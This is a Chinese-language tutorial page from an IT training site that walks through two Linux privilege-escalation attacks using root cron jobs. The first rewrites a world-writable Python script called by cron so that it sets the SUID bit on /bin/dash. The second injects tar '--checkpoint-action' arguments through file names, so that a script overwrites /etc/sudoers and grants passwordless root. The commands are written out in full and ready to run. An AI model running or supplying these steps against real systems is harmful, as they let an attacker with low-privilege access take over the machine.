Linux运维知识之利用定时任务(Cronjobs)进行Linux提权
小标 2018-12-21 来源 : 阅读 1871 评论 0

摘要:本文主要向大家介绍了Linux运维知识之利用定时任务(Cronjobs)进行Linux提权,通过具体的内容向大家展现,希望对大家学习Linux运维知识有所帮助。

本文主要向大家介绍了Linux运维知识之利用定时任务(Cronjobs)进行Linux提权,通过具体的内容向大家展现,希望对大家学习Linux运维知识有所帮助。


本文讲解如何利用Linux的Cron Jobs(定时任务)来进行权限提升。


cron jobs


定时任务(cron job)被用于安排那些需要被周期性执行的命令。利用它,你可以配置某些命令或者脚本,让它们在某个设定的时间内周期性地运行。cron 是 Linux 或者类 Unix 系统中最为实用的工具之一。cron 服务(守护进程)在系统后台运行,并且会持续地检查 /etc/crontab 文件和 /etc/cron.*/ 目录。它同样也会检查 /var/spool/cron/ 目录。




比如,在下面的crontab 命令中,就可以每个1个小时自动打印apach错误日志。


1 0 * * * printf "" > /var/log/apache/error_log


Crontab文件覆写


创建一个定时任务


目标:创建一个运行python脚本来擦除特定目录的所有数据

假设目录cleanup就是要擦除的目录,我们希望每隔2分钟就清除1次目录。首先,向该目录中创建一些文件:


mkdir cleanup
cd cleanup
echo "hello freinds" > 1.txt
echo "ALL files will be deleted in 2 mints" > 2.txt
echo "" > 1.php
echo "" > 2.php
ls


下图是上面命令执行的结果:



下面我们写一个python程序来删除 /home/cleanup的内容。


cd /tmp
nano cleanup.py


#!/usr/bin/env python
import os
import sys
try:
   os.system('rm -r /home/cleanup/* ')
except:
    sys.exit()


chmod 777 cleanup.py



编辑crontab添加定时任务,每隔2分钟运行一次cleanup.py脚本。


nano /etc/crontab
*/2 *   * * *   root    /tmp /cleanup.py


下面验证一下效果:


cd /home/cleanup
ls
date
ls



利用


开启攻击机器,入侵目标系统,然后进行权限提升阶段。假设我通过SSH成功登录进受害者的机器,并可以访问非root用户终端。然后执行下面的命令:


cat /etc/crontab
ls  -al /tmp/cleanup.py
cat /tmp/cleanup.py


从上面的步骤,我们可以看出crontab 每隔2分钟执行一次python脚本。



下面想办法去利用它:


其实有许多方法可以获取root权限,我们采用开启/bin/dash SUID位的方法。首先,打开文件,比如nano cleanup.py,用下面的命令替换原来命令中的“rm -r /tmp/*”:


os.system('chmod u+s /bin/dash')



2分钟后,就设置了/bin/dash的SUID权限,运行完成后就获取了root权限。


/bin/dash
id
whoami


提权任务完成。


Crontab Tar Wildcard注入


创建定时任务


目标:创建一个备份的crontab任务。

该目录应该有backup的执行权限。



下面设定一个定时任务来运行tar程序,每分钟备份1次/html文件夹到/var/backups。


nano /etc/crontab
*/1 *   * * *   root tar -zcf /var/backups/html.tgz /var/www/html/*



执行下面的命令来验证一下:


cd /var/backup
ls
date


从下图可以看出,html.tgz文件每隔1分钟生成1次。



利用


开启攻击机器,入侵目标系统,然后进行权限提升阶段。假设我通过SSH成功登录进受害者的机器,并可以访问非root用户终端。然后执行下面的命令:


cat /etc/crontab


从下图可以看出该定时任务已成功以root权限执行了。



下面想办法去利用。

执行下面的命令来给当前登录用户sudo权限,随后进行wildcard注入。


echo 'echo "ignite ALL=(root) NOPASSWD: ALL" > /etc/sudoers' >test.sh
echo "" > "--checkpoint-action=exec=sh test.sh"
echo "" > --checkpoint=1
tar cf archive.tar *


1分钟后,用户被授予sudo权限。


sudo -l
sudo bash
whoami



成功获取root权限。


总结


本文讲述了两种利用Linux定时任务crontab进行用户权限提升的方法。

          


本文由职坐标整理并发布,希望对同学们有所帮助。了解更多详情请关注系统运维Linux频道!

本文由 @小标 发布于职坐标。未经许可,禁止转载。
喜欢 | 0 不喜欢 | 0
看完这篇文章有何感觉?已经有0人表态,0%的人喜欢 快给朋友分享吧~
评论(0)
后参与评论

您输入的评论内容中包含违禁敏感词

我知道了

助您圆梦职场 匹配合适岗位
验证码手机号,获得海同独家IT培训资料
选择就业方向:
人工智能物联网
大数据开发/分析
人工智能Python
Java全栈开发
WEB前端+H5

请输入正确的手机号码

请输入正确的验证码

获取验证码

您今天的短信下发次数太多了,明天再试试吧!

提交

我们会在第一时间安排职业规划师联系您!

您也可以联系我们的职业规划师咨询:

小职老师的微信号:z_zhizuobiao
小职老师的微信号:z_zhizuobiao

版权所有 职坐标-一站式IT培训就业服务领导者 沪ICP备13042190号-4
上海海同信息科技有限公司 Copyright ©2015 www.zhizuobiao.com,All Rights Reserved.
 沪公网安备 31011502005948号    

©2015 www.zhizuobiao.com All Rights Reserved

208小时内训课程